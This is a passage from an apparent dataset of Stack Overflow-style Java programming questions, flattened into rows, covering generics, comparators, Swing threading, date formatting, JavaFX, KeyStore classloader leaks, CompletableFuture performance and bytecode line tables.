( ) , sscce.new A ( ) ) ; } } class AComparator2 < T extends B < ? extends Comparable < ? > > > implements Comparator < T > { @ Override public int compare ( final T o1 , final T o2 ) { Comparable < ? > o1value = ( Comparable ) o1.getValue ( ) ; Comparable < ? > o2value = ( Comparable ) o2.getValue ( ) ; return o1value.compareTo ( o2value ) ; } } class AComparator3 < T extends B < U > , U extends Comparable < U > > implements Comparator < T > { @ Override public int compare ( final T o1 , final T o2 ) { U o1value = o1.getValue ( ) ; U o2value = o2.getValue ( ) ; return o1value.compareTo ( o2value ) ; } } ... AComparator3 < A , Comparable < U > > comparator = sscce.new AComparator3 ( ) ;",How do you refer to nested types using generics in Java ? +Java,How much memory ( roughly ) is allocated when a Java thread is instantiated and started ? Here 's a code sample :,// Definition of the thread classclass BasicThread extends Thread { // This method is called when the thread runs public void run ( ) { } } ... // Create and start the threadThread thread = new BasicThread ( ) ; thread.start ( ) ;,Amount of memory useage when creating Java threads +Java,"I am trying to create a Map with sorted keys , sorted according to alphabetically first , and numerical last . For this I am using a TreeMap with a custom Comparator : I 've wrote the following unit test to illustrate what goes wrong : With result :","public static Comparator < String > ALPHA_THEN_NUMERIC_COMPARATOR = new Comparator < String > ( ) { @ Override public int compare ( String first , String second ) { if ( firstLetterIsDigit ( first ) ) { return 1 ; } else if ( firstLetterIsDigit ( second ) ) { return -1 ; } return first.compareTo ( second ) ; } } ; private static boolean firstLetterIsDigit ( String string ) { return ( string == null ) ? false : Character.isDigit ( string.charAt ( 0 ) ) ; } @ Testpublic void testNumbericallyKeyedEntriesCanBeStored ( ) { Map < String , String > map = new HashMap < > ( ) ; map.put ( `` a '' , `` some '' ) ; map.put ( `` 0 '' , `` thing '' ) ; TreeMap < String , String > treeMap = new TreeMap < > ( ALPHA_THEN_NUMERIC_COMPARATOR ) ; treeMap.putAll ( map ) ; assertEquals ( `` some '' , treeMap.get ( `` a '' ) ) ; assertEquals ( `` thing '' , treeMap.get ( `` 0 '' ) ) ; } java.lang.AssertionError : Expected : thingActual : null",Java TreeMap custom comparator weird behaviour +Java,"I have a private method which header is : I call this method in this way : setNumericListener ( amountEditText , this : :onAmountChanged ) I would like to use getDeclaredMethod from Class https : //docs.oracle.com/javase/7/docs/api/java/lang/Class.html # getDeclaredMethod ( java.lang.String , % 20java.lang.Class ... ) to get a reference to my private method setNumericListener . getDeclaredMethodreceives an array of parameter types Class < ? > ... parameterTypes but I have no idea about how to set the parameter types array when my private method has a method reference as a parameter.Thanks","private fun setNumericListener ( editText : EditText , onValueChanged : ( newValue : Double ? ) - > Unit )",Use getDeclaredMethod using a function as a parameterType +Java,"I 've been reading a lot about Swing , threading , invokeLater ( ) , SwingWorker , etc. , but I just ca n't seem to get my head around it all , so I was trying to create a really simple program to illustrate . I 've looked at a lot of examples , but none of them seem to show just what I 'm trying to do.Here 's what I 'm trying to do in my example . I have a button and a label , and when I click the button , I want the program to pause for 3 seconds before appending a period to the text of the label . During that 3 seconds , I want the GUI to appear as normal and to continue responding to additional clicks . Here 's what I wrote : with this code , if I click the button , the period is immediately appended to the label , which makes sense to me , because I am creating and sleeping a background thread , leaving the EDT available to update the label immediately . So I tried this : This almost works except that it blocks the EDT causing the button to turn blue for three seconds before appending the period to the label 's text . I do n't want the button to look like it 's being pressed for the whole three seconds when it was really just clicked quickly , so I tried this : This appears to work , but are n't I calling jLabel1.setText ( ... ) from the background thread and not the EDT , and therefore breaking the `` Swing Single Threading Rule ? '' If so , is there a better way to achieve the desired effect ? If not , can you please explain why ?","import javax.swing.SwingWorker ; public class NewJFrame extends javax.swing.JFrame { private javax.swing.JButton jButton1 ; private javax.swing.JLabel jLabel1 ; public NewJFrame ( ) { initComponents ( ) ; } private void initComponents ( ) { jButton1 = new javax.swing.JButton ( ) ; jLabel1 = new javax.swing.JLabel ( ) ; setDefaultCloseOperation ( javax.swing.WindowConstants.EXIT_ON_CLOSE ) ; jButton1.setText ( `` Button '' ) ; jButton1.addActionListener ( new java.awt.event.ActionListener ( ) { public void actionPerformed ( java.awt.event.ActionEvent evt ) { jButton1ActionPerformed ( evt ) ; } } ) ; getContentPane ( ) .add ( jButton1 , java.awt.BorderLayout.CENTER ) ; jLabel1.setText ( `` Text '' ) ; getContentPane ( ) .add ( jLabel1 , java.awt.BorderLayout.PAGE_END ) ; pack ( ) ; } private void jButton1ActionPerformed ( java.awt.event.ActionEvent evt ) { SwingWorker worker=new SwingWorker ( ) { protected Object doInBackground ( ) { try { Thread.sleep ( 3000 ) ; } catch ( InterruptedException ex ) { } return null ; } } ; worker.execute ( ) ; jLabel1.setText ( jLabel1.getText ( ) + '' . `` ) ; } public static void main ( String args [ ] ) { java.awt.EventQueue.invokeLater ( new Runnable ( ) { public void run ( ) { new NewJFrame ( ) .setVisible ( true ) ; } } ) ; } } private void jButton1ActionPerformed ( java.awt.event.ActionEvent evt ) { Thread thread = new Thread ( ) ; try { thread.sleep ( 3000 ) ; } catch ( InterruptedException ex ) { } jLabel1.setText ( jLabel1.getText ( ) + '' . `` ) ; } private void jButton1ActionPerformed ( java.awt.event.ActionEvent evt ) { SwingWorker worker=new SwingWorker ( ) { protected Object doInBackground ( ) { try { Thread.sleep ( 3000 ) ; } catch ( InterruptedException ex ) { } jLabel1.setText ( jLabel1.getText ( ) + '' . `` ) ; return null ; } } ; worker.execute ( ) ; }",Am I updating Swing component outside of EDT ? +Java,"I have the following snippet : As you can see , I sort using explicitly two comparators . But what if I have the unknown number of comparators in some list and I want to sort by them all ? Is there any way ? Or should rather use the old fashion way comparator with multiple ifs ?","List < O > os = new ArrayList < > ( ) ; os.add ( new O ( `` A '' , 3 , `` x '' ) ) ; os.add ( new O ( `` A '' , 2 , `` y '' ) ) ; os.add ( new O ( `` B '' , 1 , `` z '' ) ) ; Comparator < O > byA = Comparator.comparing ( O : :getA ) ; Comparator < O > byB = Comparator.comparing ( O : :getB ) ; // I want to use rather this ... List < Comparator < O > > comparators = new ArrayList < > ( ) ; comparators.add ( byA ) ; comparators.add ( byB ) ; os.stream ( ) .sorted ( byB.thenComparing ( byA ) ) .forEach ( o - > System.out.println ( o.getC ( ) ) ) ;",How to sort a list/stream using an unknown number of comparators ? +Java,"I try this code : in order to get an output with subsecond informationNow = 12-Apr-2018 14:47:38.039578300Unfortunately , in the first 100 ms of every second , the leading zero of the subsecond information is omitted and I get a very misleading output Now = 12-Apr-2018 14:47:38.39578300 , which can be easily misinterpreted as about 38.4 sec , or 396 ms after the full second , instead of the real 38.04 sec.The only workarond I found , is a format of ss.nnnnnnnnn with exactly 9 n , to get my desired output.Edit : There is something nicer , which I missed in this area when posting this question.I 'm not really interested in Nanoseconds , but a fractional part of seconds ( about ms resolution ) , is what I 'm really looking for.Then , this one is much more suitableThe capital S indicates the number of subsecond digits , including leading zeros of course .","import java.time . * ; ... LocalDateTime now = LocalDateTime.now ( ) ; DateTimeFormatter formatter = DateTimeFormatter.ofPattern ( `` dd-MMM-yyyy HH : mm : ss.n '' ) ; System.out.format ( `` Now = % s % n '' , now.format ( formatter ) ) ; DateTimeFormatter formatter = DateTimeFormatter.ofPattern ( `` HH : mm : ss.SSS '' ) ;",Java8 LocalDateTime and NANO_OF_SECOND strange formatting +Java,"First , in case there is a simpler way to solve this problem , here is an outline of what I am trying to accomplish . I want to Annotate my test methods with a KnownIssue annotation ( extending AbstractAnnotationDrivenExtension ) that takes a defect ID as a parameter and checks the status of the defect before executing the tests . If the defect is fixed , it will continue execution , if it is not fixed I want it to ignore the test , but if it is closed or deleted , I want to induce a test failure with logging stating that the test should be removed or updated and the annotation removed since the defect is now closed or deleted.I have everything working up until inducing a test failure . What I have tried that does n't work : Throwing an exception in the visitFeatureAnnotation method , which causes a failure which causes all tests thereafter not to execute.Creating a class that extends Spec and including a test method that logs a message and fails , then tried to use feature.featureMethod.setReflection ( ) to set the method to execute to the other method . In this case , I get a java.lang.IllegalArgumentException : object is not an instance of declaring classI then tried using ExpandoMetaClass to add a method directly to the declaringClass , and point feature.featureMethod.setReflection to point to it , but I still get the same IllegalArgumentException.Here is what I have inside of my visitFeatureAnnotation method for my latest attempt : Any other ideas on how I could accomplish this , and either induce a test failure , or replace the method with another that will fail ?",def myMetaClass = feature.getFeatureMethod ( ) .getReflection ( ) .declaringClass.metaClassmyMetaClass.KnownIssueMethod = { - > return false } feature.featureMethod.setReflection ( myMetaClass.methods [ 0 ] .getDoCall ( ) .getCachedMethod ( ) ) ;,How can I get spock to execute a different method at runtime using an Annotation Extension ? +Java,"I am having trouble understanding what is actually happening when I declare the array in the following code . I thought since the right-hand side of the array declaration is new Type2 [ 2 ] that the array would consist of reference variables of the type Type2 . If this is true , the first error makes sense because I can not have a subtype referring to a supertype.However , why does the second error occur two lines after that ? Is n't method2 ( ) known by Type2 , so the method is known by the reference variable ? It seems it is because Type1 does n't know method2 , so does that mean the array consists of reference variables of the type Type1 ? If this is true , why does the first error occur as it is no longer a subtype referring to a supertype ? Also , why is the first error a runtime error while the other is a syntax error ? Please note I am only in my second programming course , so my terminology may be a little off . Edit : The question here does not answer my question because it does not answer why an element of an array like x can not invoke method2 ( ) even though an element of x of Type 2 . My question is different because of this and because my question also asks why the first error occurs when the second error also occurs ( why an element of x can not refer to and object of the type Type1 and at the same time can not invoke method2 ( ) ) . I originally thought that if one error occurred , then the other can not occur . I wanted a comparison between the two errors and a more in-depth explanation than simply the rules of polymorphism .",class Type1 { } class Type2 extends Type1 { public void method2 ( ) { } } class Test { public static void main ( String [ ] args ) { Type1 [ ] x = new Type2 [ 2 ] ; x [ 0 ] = new Type1 ( ) ; // runtime error x [ 1 ] = new Type2 ( ) ; x [ 1 ] .method2 ( ) ; // syntax error } },Beginner Array of Objects Confusion +Java,"Is is good practice to use domain objects as keys for maps ( or `` get '' methods ) , or is it better to just use the id of the domain object ? It 's simpler to explain with an example . Let 's say I have Person class , a Club class , and a Membership class ( that connects the other two ) . I.e. , Or something like that . Now , I want to add a method getMembership to Club . The question is , should this method take a Person object : or , the id of a person : Which is most idiomatic , which is most convenient , which is most suitable ? Edit : Many very good answers . I went with not exposing the id , because the `` Person '' ( as you might have realized , my real domain does not have anything to do with people and clubs ... ) instances are easily available , but for now it is internally stored in a HashMap hashed on the id - but at least I am exposing it correctly in the interface .",public class Person { private int id ; // primary key private String name ; } public class Club { private String name ; // primary key } public class Membership { private Person person ; private Club club ; private Date expires ; } public Membership getMembership ( Person person ) ; public Membership getMembership ( int personId ) ;,Is it good practice to use domain objects as keys ? +Java,"Lets say , we have the following class : It 's derived from Application but it does n't use any of its methods . Usually you start a JavaFX application by calling launch ( args ) in the main.When I start this program the only output is `` main '' , so the constructor and start are n't called , but the program does n't terminate because there is a JavaFX Application thread running . But where does it come from ? I did some debugging and found out that the thread is started from the main thread before the main method runs . The stack trace starts with NativeMethodAccessorImpl.To get even weirder : when I start the main method from a different class , the JavaFX Application thread is n't started : So what kind of black magic is this ?",import javafx.application.Application ; import javafx.stage.Stage ; public class Test extends Application { public Test ( ) { System.out.println ( `` Constructor '' ) ; } @ Override public void start ( Stage primaryStage ) throws Exception { System.out.println ( `` start '' ) ; } public static void main ( String ... args ) { System.out.println ( `` main '' ) ; } } public class Test2 { public static void main ( String [ ] args ) { Test.main ( args ) ; } },How does JavaFX 8 start the JavaFX Application thread in a nearly empty Application class ? +Java,"Consider the following case , In above example I am getting following output which is quite expected.I have been reading about Java-8 default methods and specifically about Extending Interfaces That Contain Default Methods 2nd bullet : Redeclare the default method , which makes it abstract.In above example where I have two interfaces which have default method with same name and when I implemented both I was only able to reach to the implementation of printHello of Test which refers to IFace2.I have few questions about this , How can I reach to the printHello method of IFace1 and if I ca n't than why ? Does n't this behavior keep me away from the intended nature of IFace1 which is may be now shadowed by other method ? Quote says , you can make the default method abstract in it 's child interface . For example , Here when I implement IFace2 I wo n't be actually able to reach default method of IFace1 that is exactly what is happening in my case .","interface IFace1 { default void printHello ( ) { System.out.println ( `` IFace1 '' ) ; } } interface IFace2 { void printHello ( ) ; } public class Test implements IFace1 , IFace2 { public static void main ( String [ ] args ) { Test test = new Test ( ) ; test.printHello ( ) ; IFace1 iface1 = new Test ( ) ; iface1.printHello ( ) ; IFace2 iface2 = new Test ( ) ; iface2.printHello ( ) ; } @ Override public void printHello ( ) { System.out.println ( `` Test '' ) ; } } TestTestTest interface IFace2 extends IFace1 { void printHello ( ) ; }",Shadowing default method of an interface +Java,I want to parse a date string but I fail miserably . To illustrate my problem I wrote this simple JUnit test : This test fails with this message : org.junit.ComparisonFailure : expected : < 2011-0 [ 4 ] -21_16-01-08 > but was : < 2011-0 [ 1 ] -21_16-01-08 > I do n't get why the formatter can not parse the date correctly . Do you have any ideas ?,"@ Testpublic void testParseJavaDate ( ) throws ParseException { SimpleDateFormat sdf = new SimpleDateFormat ( `` yyyy-MM-DD_HH-mm-ss '' , Locale.GERMAN ) ; String inputtime = `` 2011-04-21_16-01-08 '' ; Date parse = sdf.parse ( inputtime ) ; assertEquals ( inputtime , sdf.format ( parse ) ) ; }",SimpleDateFormatter does not recognize months +Java,I have employee and address class as belowUsing java 8 filter I want to print all employees who are having city starting with PWhat to add to below code to get emp of that filtered addressThanks in advance .,class Employee { private String name ; private int age ; private List < Address > addresses ; //getter and setter } class Address { private String city ; private String state ; private String country ; //getter and setter } employees.stream ( ) .map ( Employee : :getAddresses ) .flatMap ( Collection : :stream ) .filter ( children - > children.getCity ( ) .startsWith ( `` p '' ) ) .collect ( Collectors.toList ( ) ) .forEach ( System.out : :println ) ;,Java 8 get all employee having address start with P +Java,"I am following this example here from the docHere is part of the finite state machine I 'm working with How do I correctly pass data between various states in the state machine ? How should the actor.tell call look like for the actor sending a message to this FSM actorIf I send the following message It correctly matches the event and the actor changes the state to EVALUATING and sends back an EVALUATING message . BUt what I really want is , modify 'myData ' based on this state change and on transition , send this modified data to another actor.But when I send a message of type someMessage I have no way to send the existing instance of myData and it is always uninitialized as part of the initialization of the state machine.In other words , I am trying to manage the state of myData with the finite state machine.How can I achieve his making the best use of the framework ? A working example from the above information will be really useful !","startWith ( ACCEPTED , new myData ( ) ) ; when ( ACCEPTED , matchEvent ( someMesage.class , MyData.class , ( someMessage , myData ) - > goTo ( EVALUATING ) .replying ( EVALUATING ) ) ) ; onTransition ( matchState ( ACCEPTED , EVALUATING , ( ) - > { // Here I want to update the nextState data and pass it to another actor // But the nextState data is always the unititalized object which is new Mydata ( ) when the FSM initializes } ) ) ; whenUnhandled ( matchAnyEvent ( ( state , data ) - > stay ( ) .replying ( `` received unhandled request `` + state.toString ( ) ) ) ) ; initialize ( ) ; } MyFSM.tell ( new someMessage ( myData ) , getSelf ( ) ) ;",How to correctly pass data in the Finite State machine in AKKA +Java,"I 'm trying to add a clipping path to a TIFF image . I made one TIFF file with GIMP that contains a clipping path and I can clip my image using it byBut I would like to append clipping path info as coordinates like GIMP does into the image file itself so later another process can read it ... I 've tried with ImagickDraw , pathStart ... pathFinish but it draws something on image not as a path that I can see in GIMP likeEdit : Solutions in other languages are appreciated .","$ img = new Imagick ( `` ./test.tiff '' ) ; $ img- > clipPathImage ( `` # 1 '' , false ) ;",Adding clippath information to an image +Java,"Can we use those 3 dots to create an array at the place of square brackets , like we used it above ? ? If not then why we are using this declaration only for main ? ?",public static void main ( String [ ] args ) orpublic static void main ( String ... args ),2 different signatures for main method +Java,"I have a dream ... .In this dream I can replace such constructs as : withI think the later is more succinct , and easier to read . I 'm sure something should be possible as methods can be declared with this kind of signature public void readUnlimitedVariables ( Variable ... vars ) which takes comma separated variables ( as opposed to || or even & & ) .This could be opened up to anything that returns a boolean , for instance : where myLovelyInstance implements AwesomeClass & & EpicClassIs this possible in Java ? I 've not found anything on this so far , by googling or on SO . If it 's not in vanilla Java , are there any third party packages like Lombok or lambdaJ that would allow this ? If not that either , if this a feature of any language ? It seems very intuitive to me but I 've not seen it anywhere .",if ( aLongVariableName.equals ( classInstance.aPropertyOfThatInstance ) || aLongVariableName.equals ( classInstance.aDifferentProperty ) ) { ... } if ( aLongVariableName.equals ( classInstance.aDifferentProperty || aPropertyOfThatInstance ) ) { ... } if ( myLovelyInstance instanceof AwesomeClass & & EpicClass ) { ... },How can I open up my equals statements to accept more than one parameter in Java ? +Java,"I 'm building a programm to ask multiplication and I want to set up a timer to force the person to give its answer in a given time : if the person answers before the end of the timer : go next multiplicationif the timer reach its end , stop waiting user input : go next multiplicationFor the moment , case 1 can be done , but 2 not , I was thinking about a way to return ; from the method within like a Thread or something , bu I do n't know howSo I 'm facing a problem , if a Scanner is open , waiting for input , how to stop it ? I 've tried putting it in a Thread and interrupt ( ) it or using boolean as flags , but it does n't stop the Scanner","class Multiplication extends Calcul { Multiplication ( ) { super ( ( nb1 , nb2 ) - > nb1 * nb2 ) ; } @ Override public String toString ( ) { return getNb1 ( ) + `` * '' + getNb2 ( ) ; } } abstract class Calcul { private int nb1 , nb2 ; private boolean valid ; private boolean inTime = true ; private boolean answered = false ; private BiFunction < Integer , Integer , Integer > function ; Calcul ( BiFunction < Integer , Integer , Integer > f ) { this.nb1 = new Random ( ) .nextInt ( 11 ) ; this.nb2 = new Random ( ) .nextInt ( 11 ) ; this.function = f ; } void start ( ) { Scanner sc = new Scanner ( System.in ) ; System.out.println ( `` What much is `` + this + `` ? `` ) ; Timer timer = new Timer ( ) ; timer.schedule ( new TimerTask ( ) { @ Override public void run ( ) { if ( ! answered ) { inTime = false ; } } } , 5 * 1000 ) ; int answer = Integer.parseInt ( sc.nextLine ( ) ) ; if ( inTime ) { checkAnswer ( answer ) ; timer.cancel ( ) ; } } private void checkAnswer ( int answer ) { System.out.println ( `` You said `` + answer ) ; valid = ( function.apply ( nb1 , nb2 ) == answer ) & & inTime ; answered = true ; } int getNb1 ( ) { return nb1 ; } int getNb2 ( ) { return nb2 ; } boolean isValid ( ) { return valid ; } public static void main ( String [ ] args ) { List < Calcul > l = Arrays.asList ( new Multiplication ( ) , new Multiplication ( ) , new Multiplication ( ) ) ; l.forEach ( Calcul : :start ) ; } }",How to stop waiting for user input ? +Java,"When loading a KeyStore in Java 7 the Classloader is leaked.I have confirmed this using the `` Find Leaks '' feature in Tomcat 7.0.47 and classloader-leak-prevention . Here is the test code , the webapp with the leak in @ Configuration and the webapp with the leak in @ Controller.Essentially these lines cause the leak for me : If I remove KeyStore.load ( ) everything works fine but that is obviously not a functioning solution.It does not work on Oracle JDK 1.7u15 , u17 , u21 , u25 , u40 and u45 as well as OpenJDK 1.7u40 and u45.It works on Oracle JDK 1.6u39 , u41 , u43 and 45 as well as OpenJDK 1.6.0.This was tested on Microsoft Windows Server 2008 R2 Standard 64 Bit . The OpenJDKs are the latest unofficial builds by alexkasko on GitHub.Does anyone have an idea what may be causing the Classloader leak ? I tried using a heap dump and calling `` shortest path to GC root '' but that returned no results .","InputStream is = null ; try { is = new FileInputStream ( `` ./app.truststore '' ) ; KeyStore keyStore = KeyStore.getInstance ( `` JKS '' ) ; keyStore.load ( is , `` changeit '' .toCharArray ( ) ) ; } catch ( Exception e ) { System.out.println ( e ) ; } finally { if ( is ! = null ) { is.close ( ) ; } }",Loading a KeyStore in Java 7 leaks the Classloader +Java,"I have a Web Service created in Java ( 1.6 ) , with metro ( 2.0 ) , using maven , under Tomcat 6.In all web methods the return type is a generic class : For example : And in client : In some web methods it is working.But when the result is a class with have a List < ? class > attribute , it fails to unmarshal.This project is part of a biggest one . So for test purposes I created a new one , simpler , just the project , with the same data model , and copy one of the web methods , in this case it worked , and after unmarshal , I had a result that i could cast to the expected type.What could be happening ? EDIT : The answer is a solution yes , but generates a getter for each type added to the field declaration.Is there a better way ?","public class WsResult < T > { protected T result ; // the actual result protected Code requestState ; // 0K , or some error code if needed protected String message ; // if error , instead of result , insert a message } public WsResult < OtherClass > someMethod ( ... ) ; public WsResult < Foo > someMethod_2 ( ... ) ; MyServiceService service = new MyServiceService ( ) ; MyService port = service.getMyServicePort ( ) ; WsResult result = port.someMethod ( ... ) ; OtherClass oc = ( OtherClass ) result.getResult ( ) ; WsResult res = port.someMethod_2 ( ... ) ; Foo o = ( Foo ) res.getResult ( ) ;",Unmarshal generates null field on generic with a List < T > field +Java,"It is said in Design Patterns - Elements of Reusable Object-Oriented Software book : In situations where there 's only one implementation ( one-to-one ) , creating an abstract implementor class is n't necessary.This is a degenerate case of the bridge pattern ; there 's a one-to-one relationship between Abstraction and Implementor.Nevertheless , this seperation is still useful when a change in the implementation of a class must not affect its existing clients- that is they should n't have to be recompiled , just relinked.I doubt about the benefit of compile time because I ca n't imagine a case in Java where a change in implementation makes recompile its superclass ( abstract in this case ) .For example , if we have X extends Y and a client do : A change in X does not mean a recompilation of Y ( of course if we do n't want to change the method signatures of X ) It is exactly the same thing when using Bridge Pattern : A change in XImplementor does not mean a recompilation of YAbstraction.So , according to me , this benefit does not take place in Java and for a one-to-one = > no Bridge Pattern needed.Perhaps a change in a subclass force superclass to be recompiled in other languages ? like SmallTalk and C++ ? What are your opinions ?",Y y = new X ( ) ; YAbstraction yabstraction = new YRefinedAbstraction ( new XImplementor ( ) ) ;,Bridge Pattern - benefit of compilation in Java ? +Java,"Does a persistence manager generally need to be closed ? Can you just keep one open and re-use it all the time , ie just repeat this pattern : What are the downsides of this ? It seems to make sense as you would never need to 'detatch ' objects due to the persistence manager being closed ?",Transaction tx = pm.currentTransaction ( ) ; try { tx.begin ( ) ; // do stuff tx.commit ( ) ; } finally { if ( tx.isActive ( ) ) tx.rollback ( ) ; },Keeping a JDO persistence manager alive instead of closing it ? +Java,I have the following recursive method that simply adds all the child items in a given folder to a list : How could I refactor this method using the new Java 8 Stream API ?,"private List < TemplateFile > readTemplateFiles ( String nextTemplateDir , String rootTemplateDir ) throws FileNotFoundException { List < TemplateFile > templateFiles = new ArrayList < > ( ) ; for ( File file : new File ( nextTemplateDir ) .listFiles ( ) ) { if ( ! file.isDirectory ( ) & & ! file.getName ( ) .startsWith ( `` . '' ) ) { templateFiles.add ( TemplateFile.create ( file , rootTemplateDir ) ) ; } else if ( file.isDirectory ( ) ) { templateFiles.addAll ( readTemplateFiles ( file.getAbsolutePath ( ) , rootTemplateDir ) ) ; } } return templateFiles ; }",Add all files recursively from root with Java 8 Stream +Java,I 'm not sure which of the following code snippets I should prefer.A ) NestedB ) FlatI think B is more readable . But what is more Java-like ?,if ( cond1 ! = null ) { if ( cond2 ! = null ) { //Do the good stuff here } else { System.out.println ( `` Sorry cond2 was null '' ) ; } } else { System.out.println ( `` Sorry cond1 was null '' ) ; } if ( cond1 == null ) { System.out.println ( `` Sorry cond1 was null '' ) ; } else if ( cond2 == null ) { System.out.println ( `` Sorry cond2 was null '' ) ; } else { //Do the good stuff },Java nested if-statement vs if-else +Java,"I wanted to increase the performance of my backend REST API on a certain operation that polled multiple different external APIs sequentially and collected their responses and flattened them all into a single list of responses.Having just recently learned about CompletableFutures , I decided to give it a go , and compare that solution with the one that involved simply changing my stream for a parallelStream.Here is the code used for the benchmark-test : There is a list of 8 ( fake ) APIs . Each response takes 4 seconds to execute and returns a list of 4 entities ( Strings , in our case , for the sake of simplicity ) .The results : stream : 32 secondsparallelStream : 4 secondsCompletableFuture : 8 secondsI 'm quite surprised and expected the last two to be almost identical . What exactly is causing that difference ? As far as I know , they are both using the ForkJoinPool.commonPool ( ) .My naive interpretation would be that parallelStream , since it is a blocking operation , uses the actual MainThread for its workload and thus has an extra active thread to work with , compared to the CompletableFuture which is asynchronous and thus can not use that MainThread .","package com.alithya.platon ; import java.util.Arrays ; import java.util.List ; import java.util.Objects ; import java.util.concurrent.CompletableFuture ; import java.util.concurrent.TimeUnit ; import java.util.stream.Collectors ; import org.junit.jupiter.api.AfterEach ; import org.junit.jupiter.api.BeforeEach ; import org.junit.jupiter.api.Test ; public class ConcurrentTest { static final List < String > REST_APIS = Arrays.asList ( `` api1 '' , `` api2 '' , `` api3 '' , `` api4 '' , `` api5 '' , `` api6 '' , `` api7 '' , `` api8 '' ) ; MyTestUtil myTest = new MyTestUtil ( ) ; long millisBefore ; // used to benchmark @ BeforeEach void setUp ( ) { millisBefore = System.currentTimeMillis ( ) ; } @ AfterEach void tearDown ( ) { System.out.printf ( `` time taken : % .4fs\n '' , ( System.currentTimeMillis ( ) - millisBefore ) / 1000d ) ; } @ Test void parallelSolution ( ) { // 4s var parallel = REST_APIS.parallelStream ( ) .map ( api - > myTest.collectOneRestCall ( ) ) .flatMap ( List : :stream ) .collect ( Collectors.toList ( ) ) ; System.out.println ( `` List of responses : `` + parallel.toString ( ) ) ; } @ Test void futureSolution ( ) throws Exception { // 8s var futures = myTest.collectAllResponsesAsync ( REST_APIS ) ; System.out.println ( `` List of responses : `` + futures.get ( ) ) ; // only blocks here } @ Test void originalProblem ( ) { // 32s var sequential = REST_APIS.stream ( ) .map ( api - > myTest.collectOneRestCall ( ) ) .flatMap ( List : :stream ) .collect ( Collectors.toList ( ) ) ; System.out.println ( `` List of responses : `` + sequential.toString ( ) ) ; } } class MyTestUtil { public static final List < String > RESULTS = Arrays.asList ( `` 1 '' , `` 2 '' , `` 3 '' , `` 4 '' ) ; List < String > collectOneRestCall ( ) { try { TimeUnit.SECONDS.sleep ( 4 ) ; // simulating the await of the response } catch ( Exception io ) { throw new RuntimeException ( io ) ; } finally { return MyTestUtil.RESULTS ; // always return something , for this demonstration } } CompletableFuture < List < String > > collectAllResponsesAsync ( List < String > restApiUrlList ) { /* Collecting the list of all the async requests that build a List < String > . */ List < CompletableFuture < List < String > > > completableFutures = restApiUrlList.stream ( ) .map ( api - > nonBlockingRestCall ( ) ) .collect ( Collectors.toList ( ) ) ; /* Creating a single Future that contains all the Futures we just created ( `` flatmap '' ) . */ CompletableFuture < Void > allFutures = CompletableFuture.allOf ( completableFutures .toArray ( new CompletableFuture [ restApiUrlList.size ( ) ] ) ) ; /* When all the Futures have completed , we join them to create merged List < String > . */ CompletableFuture < List < String > > allCompletableFutures = allFutures .thenApply ( future - > completableFutures.stream ( ) .filter ( Objects : :nonNull ) // we filter out the failed calls .map ( CompletableFuture : :join ) .flatMap ( List : :stream ) // creating a List < String > from List < List < String > > .collect ( Collectors.toList ( ) ) ) ; return allCompletableFutures ; } private CompletableFuture < List < String > > nonBlockingRestCall ( ) { /* Manage the Exceptions here to ensure the wrapping Future returns the other calls . */ return CompletableFuture.supplyAsync ( ( ) - > collectOneRestCall ( ) ) .exceptionally ( ex - > { return null ; // gets managed in the wrapping Future } ) ; } }",Why is ` parallelStream ` faster than the ` CompletableFuture ` implementation ? +Java,"I 'm stuck trying to translate some Java code that uses ( bounded ) wildcard generics to C # . My problem is , Java seems to allow a generic type to be both covariant and contravariant when used with a wildcard . [ This is a spin-off from a previous question dealing with a simpler case of bounded-wildcards ] Java - works : C # - does n't compile ... If I change interface IGeneric1 < T > to interface IGeneric1 < out T > the above error goes away , but method1WithParam ( T ) complains about variance :","class Impl { } interface IGeneric1 < T extends Impl > { void method1 ( IGeneric2 < ? > val ) ; T method1WithParam ( T val ) ; } interface IGeneric2 < T extends Impl > { void method2 ( IGeneric1 < ? > val ) ; } abstract class Generic2 < T extends Impl > implements IGeneric2 < T > { // ! ! field using wildcard protected IGeneric1 < ? > elem ; public void method2 ( IGeneric1 < ? > val1 ) { val1.method1 ( this ) ; //assignment from wildcard to wildcard elem = val1 ; } } abstract class Generic < T extends Impl > implements IGeneric1 < T > , IGeneric2 < T > { public void method1 ( IGeneric2 < ? > val2 ) { val2.method2 ( this ) ; } } class Impl { } interface IGeneric1 < T > where T : Impl { //in Java : //void method1 ( IGeneric2 < ? > val ) ; void method1 < U > ( IGeneric2 < U > val ) where U : Impl ; //see this Q for 'why ' // https : //stackoverflow.com/a/14277742/11545 T method1WithParam ( T to ) ; } interface IGeneric2 < T > where T : Impl { void method2 < U > ( IGeneric1 < U > val ) where U : Impl ; } abstract class Generic2 < T , TU > : IGeneric2 < T > //added new type TU where T : Impl where TU : Impl { //in Java : //protected IGeneric1 < ? > elem ; protected IGeneric1 < TU > elem ; //in Java : //public void method2 ( IGeneric1 < ? > val1 ) public void method2 < U > ( IGeneric1 < U > val ) where U : TU //using TU as constraint { elem = val ; // Can not convert source type 'IGeneric1 < U > ' //to target type 'IGeneric1 < TU > ' } public abstract void method1WithParam ( T to ) ; } abstract class Generic < T > : IGeneric1 < T > , IGeneric2 < T > where T : Impl { //in Java : //public void method1 ( IGeneric2 < ? > val2 ) public void method1 < U > ( IGeneric2 < U > val2 ) where U : Impl { val2.method2 ( this ) ; } public abstract T method1WithParam ( T to ) ; public abstract void method2 < U > ( IGeneric1 < U > val ) where U : Impl ; public abstract void nonGenericMethod ( ) ; } Parameter must be input-safe . Invalid variance : The type parameter 'T ' must becontravariantly valid on 'IGeneric1 < out T > ' .",.NET equivalent for Java bounded wildcard ( IInterf < ? > ) ? +Java,"Is it correct to use java.util.function.Function to implement Factory Design PatternIn the following example , I 've used Function reference to instantiated a Person type object .","import java.util.function.Function ; public class Main { public static void main ( String [ ] args ) { Function < String , Person > myFunc = ( String s ) - > new Person ( s ) ; Person p = myFunc.apply ( `` Shan '' ) ; System.out.println ( p.getName ( ) ) ; } } class Person { private String name ; public Person ( String name ) { this.name = name ; } public String getName ( ) { return name ; } }",use java.util.function.Function to implement Factory Design Pattern +Java,"If I compile the following source code : with Java-7 ( either OpenJDK or Oracle ) I get the following LineNumberTable : However , compiling the same source code with Java 8 ( either OpenJDK or Oracle ) I get another LineNumberTable : Why does the LineNumberTable returned by Java 7 not include lines 4 and 5 ? And why does the LineNumberTable returned by Java 8 not include line 5 ?","1. public class Example { 2. public boolean foo ( boolean a , boolean b , char ch ) { 3. if ( a & & Character.isLetter ( ch ) 4 . || b & & Character.isDigit ( ch ) 5 . || ! a & & ! b ) { 6. return true ; 7 . } 8. return false ; 9 . } 